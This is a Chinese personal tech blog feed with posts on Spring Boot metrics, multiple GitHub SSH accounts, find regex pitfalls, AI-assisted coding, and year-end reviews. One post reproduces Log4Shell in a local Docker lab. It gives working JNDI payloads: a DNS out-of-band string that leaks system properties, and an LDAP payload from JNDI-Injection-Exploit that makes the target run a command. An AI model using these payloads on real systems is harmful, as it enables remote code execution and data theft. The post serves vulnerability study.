老实记

Spring Boot中prometheus指标中缺失了JVM相关指标

2025-08-31T00:00:00+08:00

一、问题

一个Spring Boot应用已经在配置中通过actuator和micrometer暴露了prometheus端点http://ip:port/actuator/prometheus，结合prometheus和grafana已使用在线上监控系统中了。

最近几周发现通过 /actuator/prometheus仍然能访问应用暴露的prometheus监控端点和部分指标，但是JVM相关的指标比如jvm_memory_used_bytes不见了，造成监控缺失。

二、原因

actuator、micrometer、prometheus和grafna最近配置没有做过调整。

看了一下应用最近的变更，在MyBatis自定义Configuration Bean中因为要定义SqlSessionFactory的Plugin（SQL Interceptor）,@Autowired了MeterRegistry bean。去掉新增的@Autowired JVM相关指标就正常暴露了。

@Configuration
@MapperScan(value = { "com.**" }, sqlSessionFactoryRef = MybatisConfig.SQL_SESSION_FACTORY, sqlSessionTemplateRef = MybatisConfig.SQL_SESSION_TEMPLATE)
@EnableConfigurationProperties(DynamicDataSourceProperties.class)
public class MybatisConfig {
        public static final String SQL_SESSION_FACTORY = "mainSqlSessionFactory";
    public static final String SQL_SESSION_TEMPLATE = "mainSqlSessionTemplate";
    
    @Autowired
    private MeterRegistry meterRegistry;

    @Bean(SQL_SESSION_FACTORY)
    public SqlSessionFactory sqlSessionFactory(DataSource dataSource) throws Exception {
            SqlSessionFactoryBean sessionFactoryBean = new SqlSessionFactoryBean();
        sessionFactoryBean.setDataSource(dataSource);
        ...
        sessionFactoryBean.setPlugins(new SqlMonitorInterceptor(meterRegistry));
        ...

那么@Autowired一个MeterRegistry类咋就造成jvm_memory_used_bytes指标丢了呢？

这个跟Spring Boot的Configuration和AutoConfiguration bean的初始化顺序有关。

简单来说，自定义的@Configuration 类优先级高于所有 Starter 的自动配置类。我们场景中prometheus指标正是通过MetricsAutoConfiguration和JvmMetricsAutoConfiguration自动装配实现的。

我们自定义的MybatisConfig先初始化，初始化sqlSessionFactory bean的时候提前触发了MeterRegistry的初始化。但是这时候初始化的MeterRegistry是默认实现SimpleMeterRegistry，这个默认实现是不包括JVM指标的。等到MetricsAutoConfiguration初始化时，@ConditionalOnMissingBean(MeterRegistry.class)不匹配，就不会再初始化和配置MeterRegistry实例了。

三、解决

解决的方法是MybatisConfig初始化时不立刻创建 MeterRegistry，只注入一个代理。这可以通过在MybatisConfig类定义中针对meterRegistry添加@Lazy注解来实现。

   @Autowired
   @Lazy
   private MeterRegistry meterRegistry;

当 SqlMonitorInterceptor 最终使用 meterRegistry 时，取到的就是一个已经绑定了 JVM metrics 的 MeterRegistry（MetricsAutoConfiguration创建的）。

多个GitHub账号如何从同一台工作电脑提交代码

2025-08-30T00:00:00+08:00

问题

使用github过程中，如果有多个github账号，从同一台工作电脑提交时经常会遇到类似下面的权限问题。注意这里提到的问题使用的是github的SSH连接方式。

git:(main) git push -u origin main
ERROR: Repository not found.
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.


 git:(main) git pull origin
Connection closed by 198.18.0.138 port 22
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

分析

简单来说这里的问题是代码仓和登录github的账号没有对应起来，造成权限问题。

比如说我们有github账号account1和account2，account2下面有代码仓库repo1。如果我们在repo1本地目录做git操作时，使用的是account1，那么就会大概率遇到这里提到的权限问题。

那么我们从本地拉或者提交github仓库中的代码时，到底使用的是哪一个github账号，github又是怎么验证账号的呢？

如题我们使用的是SSH方式连接github，认证使用的公私钥认证。

一般来说Github上申请一个账号后，我们都会通过ssh-keygen本地生成公私钥后，把公钥上传到GitHub网站。

下面介绍一下认证过程。

本地git pull或者git push时发起SSH连接过程。SSH客户端把公钥传给GitHub服务端
GitHub服务器收到请求后，从后台数据库中搜索已经注册的公钥列表，找到后说明该用户存在。那怎么证明这个客户端用户拥有这个公钥呢？服务端会生成一个随机数并用公钥加密发送回客户端
客户端收到返回的消息后用私钥解密（只有拥有私钥的客户端才能解密），并把解密的随机数再发到服务端
服务端通过解密的随机数验证合法的SSH客户端，也就是这里的github账户

所以，Github服务端是通过不同公钥证书来区分不同GitHub账号的。

那多个github账户从同一台客户端电脑比如Mac操作时使用的到底是哪一个账号或者说证书呢？

遗憾的是没有简单的方法。但是我们可以通过执行下面的命令从结果来判断当前使用的github账户名。shidongwa是当前使用的github账户。

git:(main) ssh -T git@github.com
Hi shidongwa! You've successfully authenticated, but GitHub does not provide shell access.

那如何切换到第二个github账号呢？

有。其实只要连接Github服务端时支持切换到第二个公私钥对即可。这个可以借助SSH客户端的多账户认证来实现。

简单来说就是在~/.ssh/configSSH配置文件中指定不同服务器别名，关联不同的私钥。代码仓库中remote url中使用服务器别名即可。

具体步骤如下：

在本地，不同账号生成不同的公私钥对，也就是文件名。Mac下命令：ssh-keygen -t ed25519 -C "XXX@gmail.com"，主要提示Enter file in which to save the key (/Users/XXX/.ssh/id_ed25519)需要输入完整文件路径，也就是存放公私钥文件位置的地方
把生成的公钥证书文件上传GitHub。这个是Github账号维度，不是项目维度。你需要使用你操作的目标代码仓库对应的GitHub账号登录GitHub后才能配置公钥文件
配置本地SSH客户端，不同github服务器别名关联不同ssh证书。这里假定第二步生成的私钥文件地址分别是~/.ssh/id_ed25519_account1和~/.ssh/id_ed25519_account2

# 个人账户的配置
Host github.com-account1
  HostName github.com
  User git
  IdentityFile ~/.ssh/id_ed25519_account1
  IdentitiesOnly yes

# 工作账户的配置
Host github.com.account2
  HostName github.com
  User git
  IdentityFile ~/.ssh/id_ed25519_account2
  IdentitiesOnly yes

本地代码仓库更新远程仓库地址，使用第三步配置的github服务器别名。注意下面命令中的account1和account2是你的github账户名

# 使用account1
git remote set-url origin git@github.com.account1:account1/XXX.git

#使用account2
git remote set-url origin git@github.com.account2:account2/XXX.git

现在可以正常使用git pull或者git push了。可以通过下面命令来验证连通性。注意下面命令中的account1需要替换为你的github账号

ssh -T git@github.com.account1
Hi account1! You've successfully authenticated, but GitHub does not provide shell access.

一般来说为了从git log中直观看出不同账号的提交记录。可以在代码仓库本地维度配置user.name和user.email

git config user.name "acocunt1"
git config user.email "account1@gmail.com"

总结

同一台工作电脑上多个github账号提交代码可以通过SSH客户端多账号配置来支持，简单来说就是git通过告诉SSH客户端使用不同github服务器别名，不同SSH公私钥对来区分不同github账号。和单账号操作相比，主要区别在上面操作步骤中的第3步和第4步。

如果不使用本文提到的SSH多账户认证方式，也可以通过不同Github账户增加代码协作者来临时解决，也就是account2 github仓库允许account1用户提交代码。不过这种方式不一定满足业务要求。

Centos 7 通过正则表达式查找文件的坑

2025-08-16T00:00:00+08:00

一、问题

工作中需要在指定目录下按照正则表达式查找文件（存在多级目录结构），然后进行备份或者清理。

比如说Centos7中文件目录结构如下：

当前目录：/home/devops/mysqlbackup
查找文件：/home/devops/mysqlbackup/20250729/backup_20250729_021002.tgz，路径和文件名中的20250729和021002可以是任意数字

预期结果如下：

/home/devops/mysqlbackup/20250722/backup_20250722_102952.tgz
/home/devops/mysqlbackup/20250729/backup_20250729_021002.tgz
/home/devops/mysqlbackup/20250730/backup_20250730_021001.tgz

二、方案

万事不决先问AI。提示词如下

centos系统中/home/devops/mysqlbackup目录下搜索类似20250729/backup_20250729_021002.tgz格式的文件。20250729和021002是任意数字，其他作为正则模式进行匹配。请提供对应的Linux命令搜索所有符合条件的文件并打印全路径。

ChatGPT和Gemini给出的答复分别如下：

ChatGPT 方案 - 结果不符合预期

find /home/devops/mysqlbackup -type f -regextype posix-extended -regex '.*/[0-9]{8}/backup_[0-9]{8}_[0-9]{6}\.tgz'

Gemini 方案 - 结果符合预期

# 方法一使用find + grep
find /home/devops/mysqlbackup/ -type f | grep -E "/[0-9]{8}/backup_[0-9]{8}_[0-9]{6}\.tgz$"

# 方法二使用find 
find /home/devops/mysqlbackup/ -type f -path "*/[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]/backup_[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]_[0-9][0-9][0-9][0-9][0-9][0-9].tgz"

系统版本如下：

cat /etc/redhat-release 
CentOS Linux release 7.8.2003 (Core)

2.1 问题分析

复盘AI Prompt对话过程中遇到的几个问题。

AI首先会建议采用find+regex的方式。regex必须采用全路径正则匹配（第一个坑）。

# 方式一
find /home/devops/mysqlbackup -type f -regex "/home/devops/mysqlbackup/\d{8}/backup_\d{8}_\d{6}\.tgz"

# 方式二
cd /home/devops/mysqlbackup
find ./ -type f -regex ".*/[0-9]*/backup_[0-9]*_[0-9]*\.tgz$"

find 的起始路径不同，正则表达式也会不一样。如果不确定的话先执行一下find看一下搜索结果。比如下面：

cd /home/devops/mysqlbackup/
[root@xxx mysqlbackup]# find ./ -type f
./20250729/backup_20250729_021002.tgz

find /home/devops/mysqlbackup/ -type f
/home/devops/mysqlbackup/20250816/backup_20250816_021001.tgz

然而上面两种方式都不能搜索到预期的问题。第二个坑：regex不支持\d{m}这种正则匹配方式。关于GNU正则有BRE（Basic Regular Expressions）和ERE（Extended Regular Expressions）之分，find命令默认支持的是BRE.

The find command in CentOS (and most Linux distributions) by default uses POSIX Basic Regular Expressions (BRE) or Extended Regular Expressions (ERE) depending on the -regextype option. The \d metacharacter and {m} repetition quantifier are features of Perl Compatible Regular Expressions (PCRE), which are not natively supported by find's default regex engines.

解决方法是参数增加-regextype posix-extended 或者-regextype posix-egrep 支持ERE扩展正则。不过开启ERE后{m}可以了,\d仍然不支持，需要修改为[0-9]这种方式来代替。

# 正则准确匹配起始路径
find /home/devops/mysqlbackup -type f -regextype posix-egrep -regex "/home/devops/mysqlbackup/[0-9]{8}/backup_[0-9]{8}_[0-9]
{6}\.tgz"

# 正则通配符匹配起始路径
find /home/devops/mysqlbackup -type f -regextype posix-egrep -regex ".*/[0-9]{8}/backup_[0-9]{8}_[0-9]{6}\.tgz"

不幸的是还是匹配不到预期的文件。这里需要提到的是第三个坑：/home/devops/mysqlbackup是一个软链，链接到数据盘另外的目录，find命令中查找条件是-type f找文件（不包括链接文件），不会自动解析链接文件对应的真实目录。除非在软链名后面加/，相当于告诉find进入符号链接对应的目录进行查找。

# /home/devops/mysqlbackup是链接文件
ls -ld /home/devops/mysqlbackup
lrwxrwxrwx 1 devops devops 19 Jan 26  2024 /home/devops/mysqlbackup -> /data/mysqlbackup/

# 正则准确匹配起始路径，注意mysqlbackup链接文件结尾加了/
find /home/devops/mysqlbackup/ -type f -regextype posix-egrep -regex "/home/devops/mysqlbackup/[0-9]{8}/backup_[0-9]{8}_[0-9]{6}\.tgz"

# 正则通配符匹配起始路径，注意mysqlbackup链接文件结尾加了/
find /home/devops/mysqlbackup/ -type f -regextype posix-egrep -regex ".*/[0-9]{8}/backup_[0-9]{8}_[0-9]{6}\.tgz"

问题解决。

三、结论

推荐方案 find + regex

find /home/devops/mysqlbackup/ -type f -regextype posix-egrep -regex "/home/devops/mysqlbackup/[0-9]{8}/backup_[0-9
]{8}_[0-9]{6}\.tgz$"

find + grep方案也可以。不过grep中正则不要求全路径匹配。文中提到的扩展正则和符号链接要求相同。

find /home/devops/mysqlbackup/ -type f | grep -E "/[0-9]{8}/backup_[0-9]{8}_[0-9]{6}\.tgz$"

AI很强赋能程序员，代替了搜索方便了代码生成。但是特定专业的问题，特别是坑多的，还是需要合理的prompt，否则AI给你的都是车轱辘话，往沟里带。
Gemini多次prompt提示后给出了能用的方案，ChatGPT没有给出可用的方案，与prompt提示次数有关。不能作为Gemini和ChatGPT孰优孰劣的依据

豆包AI编程实践：RSS Web客户端实现

2025-08-10T00:00:00+08:00

一、项目需求

本文旨在通过豆包AI编程功能，实践开发一个RSS Web客户端。

项目需求如下：

界面简洁美观
内容精炼：每个RSS源仅显示最近3条记录，以避免信息过载。
友好展示：RSS记录的页面展示应同时对图文和中英文内容友好。
数据存储：为避免频繁访问源页面，程序需定时从RSS源抓取数据并存储到本地数据库。

豆包AI编程入口如下。

二、豆包AI编程实践

豆包AI编程prompt记录

2.1 纯前端实现

在纯前端实现方案中，RSS源和抓取的网页数据被存储在浏览器的 LocalStorage 中。这种方式无法实现跨浏览器、跨用户或跨机器同步，仅适用于演示（demo）目的。该方案支持在豆包平台进行调试，并能生成完整的安装包文件供本地运行和调试。

下载到本地的好处在于，用户可以自行进行分发和部署，同时解决了某些网站需要科学上网才能访问的问题。

将生成的 html 文件下载到本地后，在同一目录下运行以下命令即可启动一个HTTP服务器：

python3 -m http.server 8000

AI生成和调试过程中，遇到了以下问题：

表单提交限制问题：第一个版本的代码中，form 表单提交存在限制。在遇到问题后，豆包的解决方案是将表单按钮类型从 submit 改为 button，并通过 JavaScript 手动提交表单，从而避免了以下错误：
```
Blocked form submission to '' because the form's frame is sandboxed and the 'allow-forms' permission is not set.
```
跨域问题：由于前端代码需要访问不同的RSS源，会产生跨域问题。豆包平台的解决方案是使用第三方代理服务，例如 https://cors-anywhere.herokuapp.com/，由代理服务器请求RSS源，并在返回给浏览器时声明允许跨域。不过这个访问是临时性的，需要测试时提前申请一个临时时间段，如下。

网络访问限制：部分RSS源只能通过科学上网才能访问，这超出了豆包平台的处理范畴，需要用户自行解决。

2.2 前后端实现

豆包AI编程支持生成完整的全栈应用方案和代码，包括 Node.js 后端API和 MongoDB 数据库代码。但该方案不支持直接生成安装包下载，也不支持在平台进行调试。

Prompt提问过程中豆包回答如下：

由于平台限制，无法直接提供可下载的压缩包文件，但我可以提供一个一键生成完整项目文件的脚本，您只需复制执行即可在本地生成所有代码文件

虽然通过 shell 脚本生成所有的代码目录和文件这种方式显得有些原始，但在我的MacBook上测试后，它确实能正常运行。

生成的项目目录结构如下：

启动服务端

# shell生成项目目录和文件,假设shell文件名为genPrj.sh
chmod +x genPrj.sh
./genPrj.sh

# 进入后端目录
cd rss-client/server

# 安装依赖
npm install

# 启动MongoDB
brew update

# 安装mongoDB brew仓库
brew tap mongodb/brew

# 安装community最新版本
brew install mongodb-community

# 启动mongoDB服务
brew services start mongodb-community

# 启动后端服务（确保MongoDB已运行）
npm start

启动客户端

cd rss-client/client
# 启动前端应用服务
python3 -m http.server 8001

在浏览器中访问 http://localhost:8001，验收成功！

三、总结

豆包AI编程的优势在于其前端项目的页面和代码生成能力、平台上的部署与调试功能，以及支持将安装包下载到本地进行部署和调试。生成的页面整体视觉效果也很不错。然而，纯前端的解决方案局限性较大，无法满足所有需求。

虽然它能生成可用的后端代码，但目前不支持在平台上进行部署和调试，也不支持直接生成本地代码安装包。

从长远来看，如果豆包能实现前后端一体化的代码生成、部署、调试，并支持本地安装包下载，甚至能对接像 Vercel 或 Cloudflare 这样的PaaS平台进行自动化部署，那么它的生态将更加完善，也必将吸引大量开发者。

github代码

程序员的工具库

2024-05-19T00:00:00+08:00

如何部署自己的 IT 工具库

日常开发中经常需要用到下面功能：

json 格式化或者验证
unixtime 时间转换
url encoding 和 decoding
md5 加解密
......

一般可以通过操作系统shell，脚本语言，在线工具来解决。据说一些有商业头脑的通过运营类似网站日活可观，广告收入惊人。

其实我们可以自己搭建一个在线工具站，通过 github pages 部署，完全免费。效果如下：

搭建方法：

从 github fork 项目https://github.com/shidongwa/it-tools（git clone git@github.com:shidongwa/it-tools.git)
启用和运行 github Actions “Deploy to Github Pages”（deploy-github-pages.yml）
github pages 设置中“Build and deployment” Source 中设置为“GitHub Actions”
访问你项目网站 https://[用户名].github.io/it-tools/。[用户名]替换为您的github账号名，比如我部署后网站名是：https://seesea2024.github.io/it-tools/

2023 年终总结（补）

2023-12-30T00:00:00+08:00

ChatGPT

ChatGPT 元年，技术圈、创业圈、投资圈都是 ChatGPT。从个人到公司都想沾点热度，公众号、个人 IP、短视频带上 ChatGPT就有流量啦；公司有 ChatGPT 业务范围估值就上去了；据说毕业论文中集成 ChatGPT API 就能得 A 了。

ChatGPT 我个人感受是一个比搜索引擎更方便的工具。现阶段作为通用人工智能还早，但是如果结合特定领域，作为 Agen 或者 GPTs 存在还是比较看好。那个懂我的个人助理说不定哪天就到了我们身边。5 年前我们一直说的自动驾驶技术、5G 技术、Web3没有及时兑现，这次 AI 浪潮会有不同么？现阶段 ChatGPT 解决不了工作流中人的因素，实际日常工作中遇到的问题人都理不清楚，你认为 ChatGPT 能帮你解决了给你一个答案，你敢信么？

预期中的 Covid-19后的美国经济衰退没有出现，ChatGPT 倒是搞得风生水起。不得不说美国人真会玩。国内的科技创新任重道远，产业升级已如箭在玄上，不得不发。这么多中青年失业摆在那人，总的有个出路。房地产、金融、互联网都玩坏了，大家都送外卖去？

GPT Store 是一个 NB的想法，开发者社区和业务场景有了，说不定又是一波流的 APP 产品开发，大家一起发财。对于用户来说，使用 GPT应用来辅助设计、编码、写文案、生成图片视频，谁先掌握工具个人提效，谁就是那个不被代替的人。

投资理财

一年下来装死，本着我不卖就不算亏损，随着大盘 3000 点上上下下，账号浮亏大概和去年量级一致。尼玛，基金股票我都没操作都能这样？

股市基金过去没有凭运气赚钱，现在是凭实力亏钱，这个领域真是超出自己的认知（其实身边还是有同事赚钱的，期货方面）。2024，相信 D 相信国家，继续死磕。

勇士队

勇士这 2 年看不大懂，同样的冠军阵容核心人员，为啥这 2 年比赛就缺少了精气神。成绩不咋的，更衣室矛盾是亮点。新老交替这么难？或者自己太敏感？

无论如何，Stephen Curry还是自己比较喜欢的球员，要不为啥自己这么喜欢在三分线外浪投，跟老大爷似的？

关于工作

作为一个大龄程序员没啥好说的。能有一个公司一个老板能接受你就不错了。

作为个人一直在思考自己的竞争力是什么？经验？学历？工作背景？这些在今天大环境下都被年龄 KO。

IT行业是服务业，IT 从业人员的核心竞争力在于能解决问题。在公司能帮部门、团队解决 KPI 关注点（原谅我不能直接从最终用户角度来看），提供问题的解决思路和方案，落地推广，项目和产品按期交付；作为个人开发者，挑战更大，需要了解最终用户的需求、痛点，能够触达他们并且变现。找工作前我们一般会准备几周或者几个月，刷 Leetcode 算法和面试题，面试官和面试者 PK 一番对上眼了，好，就是你。面试通过进入了心仪的大厂，拿着相比其他行业高的月薪，你就很厉害了么？不一定，离开平台，比起身边送外卖或者开出租车的你能给别人提供什么更大的价值？

技术深度感觉需要天赋和机会，持续在一个细分领域多年，取得业界领先。大部分人只能在广度上发展，这个需要对业务敏感，结合不同技术栈解决实际的业务痛点。也就是，我有这么一个问题，你能帮我解决么？

个人开发方面笔记、TODO、记账领域已经卷成红海。需求、创新一直在，如何触达？自己任然在路上。

未来很长，个人关注还是自己想想能提供什么能力，怎么变现？没有后路，那就尝试摸索另外一条路。别问我路在哪里，我不知道，也许 2025 年您再来看看就知道了。也许是一个笑话，大家开心就好。

关于个人

个人 IP 以前不怎么重视，也许是懒的原因，个人缺少总结和提升，如同乱糟糟的家居环境或者工作环境一样。

特别佩服 github 上几千上万 star 的大牛们，主流内容平台的大 V 们，其中背后的付出只有自己才知道。自己写一篇文章来来回回折腾好久是有体会的。向你们学习，做一个思考有深度的老年人。

一个感想是：拷贝粘贴在内容创作上是不被买账的，只有真正有深度的思考和原创，获取其他人的共鸣的才有流量和曝光。

切换github账号中遇到的坑

2023-10-05T00:00:00+08:00

背景

工作需要，在mac命令行中切换github账号，始终未成功。push代码的时候提示“ERROR: Permission to xxx/xxx.github.io.git denied"

➜  xxx.github.io git:(main) git push -u origin main

ERROR: Permission to [account2]/xxx.github.io.git denied to [account1].
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

原因

通过ssh -T git@github.com发现用github account1账号访问了github account2的代码仓库；
通过git config --list 检查user.name是account2，符合预期；
怀疑mac keychain中缓存问题，清理后无效；
按照Error: Permission denied (publickey)检查不符合预期。ssh-add -l -E sha256 结果为空；怀疑是这个问题；
按照Generating a new SSH key and adding it to the ssh-agent，关键的一步是ssh-add ~/.ssh/id_ed25519

Note: The --apple-use-keychain option stores the passphrase in your keychain for you when you add an SSH key to the ssh-agent. If you chose not to add a passphrase to your key, run the command without the --apple-use-keychain option.

完整解决方案如下(第 2 步确认输出为空，第 3 步的 id_ed25519确认为需要提交的 github 账号对应的密钥)

eval "$(ssh-agent -s)"
ssh-add -l -E sha256 
ssh-add  ~/.ssh/id_ed25519

log4j2漏洞学习

2023-09-17T00:00:00+08:00

Log4Shell漏洞分析和复现

一、漏洞回顾

Log4Shell 漏洞最早是阿里巴巴安全研究员 Chen Zhaojun 早在 2021 年 12 月 10 日发布（早在 11 月 24 日已发现上报），漏洞编号CVE-2021-44228。影响 log4j2 2.0-beta9 到 2.15.0 多个版本，攻击者利用 log4j2 写日志时注入 jndi lookup 链接并执行远程命令。鉴于 log4j2 在 Java 生态圈的广泛使用，该漏洞一发现就妥妥到零日漏洞，CVSS（Common Vulnerability Scoring System）评级系统中最严重的 10.

不少同行一定对当初加班紧急修复该漏洞记忆犹新。修复过程中也一波三折，衍生了 CVE-2021-45046，CVE-2021-45105，CVE-2021-44832 等漏洞，最终在 log4j2 2.17.1 版本修复。

二、漏洞复现

本文主要基于最初的漏洞在 log4j2 2.14.1 版本进行复现。主要内容包括：

通过 docker 容器复现漏洞应用
通过 jndi dnslog 模拟带外攻击执行系统属性查询
通过 jndi lookup 远程命令执行

2.1 复现漏洞应用

复现漏洞依赖 JDK 版本和 log4j2 版本，一般通过容器镜像来比较方便。从网上找了一个应用 fork 出来漏洞应用。

JDK：8u102
log4j2: 2.14.1

运行应用有两种方式:

方式 1

cd CVE-2021-44228-VULN-APP/
docker build -t log4j-shell-poc .
docker run -p 8082:8080 log4j-shell-poc

方式 2（需要本地安装 Docker Desktop）

docker pull nu11secur1ty/log4j-vuln-application
docker run  -p 8082:8080 nu11secur1ty/log4j-vuln-application

外部通过http://localhost:8082/来访问。显示如下：

2.2 dnslog 攻击

利用 dnslog 可以进行一种 OOB(Out Of Band)攻击。这里所谓的带外指的是不同与原本的业务请求响应数据路径，比如这里的 DNS 请求路径。

OOB 攻击依赖 DNS 泛域名解析。简单来说泛域名解析指的是*.t831at.dnslog.cn 都会解析到域名 t831at.dnslog.cn 上。通过查看 t831at.dnslog.cn 的域名解析日志就可以看到 dns 查询命令执行的结果。

具体步骤如下：

登陆http://www.dnslog.cn/
点击“Get SubDomain"比如得到域名“t831at.dnslog.cn”
在 2.1 部分部署的漏洞应用页面输入
- Username: ${jndi:dns://${sys:java.version}.t831at.dnslog.cn}
- Password: password
在http://www.dnslog.cn/页面点击“Refresh Record"。可以看到 1.8.0_102.t831at.dnslog.cn 中最前面的1.8.0_102就是漏洞应用的 JDK 版本。

sys:java.version中java.version可以替换为操作系统名和版本，用户名和目录等系统环境信息。具体可以参考系统属性

jndi 命令执行

这里需要用到一个工具应用JNDI-Injection-Exploit，这个应用会生成 jndi 远程服务，提供命令给漏洞应用来下载并在漏洞应用中执行。

比如我们需要在漏洞应用中写入一个文件/tmp/success.txt。操作步骤如下：

从 github 下载代码并构建启动服务

git clone git@github.com:shidongwa/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit.git
mvn clean package
cd target
# 假设192.168.10.104是攻击者服务器ip
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success.txt" -A "192.168.10.104"

我们是 java 8，从上面服务的启动日志中获取 jndi 服务地址ldap://192.168.10.104:1389/5jqrji。攻击 payload 是${jndi:ldap://192.168.10.104:1389/5jqrji}

在 2.1 部分部署的漏洞应用页面输入
- Username: ${jndi:ldap://192.168.10.104:1389/5jqrji}
- Password: password
在漏洞主机中验证/tmp/success.txt 确实已写入

docker container ls
docker exec -it 95fc bash
ls -al /tmp/success.txt

三、总结

通过对 log4j2 漏洞进行了回顾和复现，学习了 log4j2 jndi lookup 功能调用 ldap、dns 执行远程命令。对反弹 shell 和 rmi 等本文未涉及。

2022年终总结

2023-01-27T00:00:00+08:00

2022年终总结（从公众号搬过来的）

2022年过去了，2023农历新年也快结束了。又是回顾过去、展望未来的时候了。

2022年立的flag有：系统化学习信息安全知识和动手能力；多参与开源软件和社区工作，增加影响力。很惭愧，自评不及格。个人执行力不够。

技术方向上，Java Agent深度上还是比较有欠缺；广度上网络信息安全、中间件、大数据、全栈、DDD、区块链web 3.0 NFT等都是比较有意思的方向。人到中年，技术广度比深度更重要。

投资理财上，继续是交学费的阶段。2022年少亏就是赢。投资目标不是当前，希望失业后这部分能带来部分被动收入。投资策略上也比较迷茫，指数、定投都试过，2年下来还是亏麻了。俄乌战争结束前不想直接投资股票，债券和定期为主，投顾为辅，注意风险分散。

生活方面，虽然经历了上海COVID-19保卫战（上半年抢菜、下半年抢药）和杨过的经历，幸好家人以及远在外地的父母都挺过来了。2022年坚持了很长一段时间的晨跑和篮球，直到年底的放开躺平。自12/27第一次感染，今天刚好一个月，目前还不敢怎么运动，比较怕死。目前身体感觉还好，后面会增加锻炼的强度。身体是革命的本钱，这上面的投资，值！

2023年预期会有更多的不确定性。主要问自己的是下一个十年我能干什么？理想的情况是工作和兴趣相结合还能养家糊口。滴滴和送外卖也考虑过，中年大叔跟小年轻拼体力不靠谱。还是需要看程序员工作相关的可能性。

网络安全其实蛮考验个人的计算机综合实力，对知识面广度要求更高。比如漏洞利用demo、web安全和应用安全漏洞POC，没有一定的知识储备，理解漏洞都是问题。这方面真的挺佩服圈内大佬，不关注学历和文凭，但是往往在漏洞发现、攻防对抗实践等方面是大多数安全从业者不可企及的。兴趣是最好的老师和动力，2023年我需要和自己谈谈，自己有没有这个兴趣？

2023年注定是不平淡的一年，有预期但是不能躺平。作为个人，唯有保持一颗平常心做好自己的本职工作，并思考自己核心竞争力在哪、自己的兴趣在哪？

2021年终总结

2022-01-03T00:00:00+08:00

2021年终总结

爱过、恨过？想多了。2.1线，每天一副披星赶月的模样，年终咋发现还是没有改变？要不再给2022年立个flag，娱乐一下自己？

增加安全行业知识的积累，用行业、甲方、乙方、企业的眼光看技术栈、系统和产品
公众号、博客不能荒废了，要有自己的思考和输出
多读优秀的开源产品代码。咋越看越觉得自己才入门？
中间件最新动态需要了解比如微服务、云原生、service mesh下中间件的发展
算法和数据结构 go go go

我的2021

红蓝资源对抗
rasp
算法和数据结构

做的不好的地方：

docker/k8s上没啥投入和进步
微服务和中间件上没有投入和跟进
安全业务和技术提留在表面。fastjson/log4j2漏洞都是好的学习案例
微博和公众号基本没有更新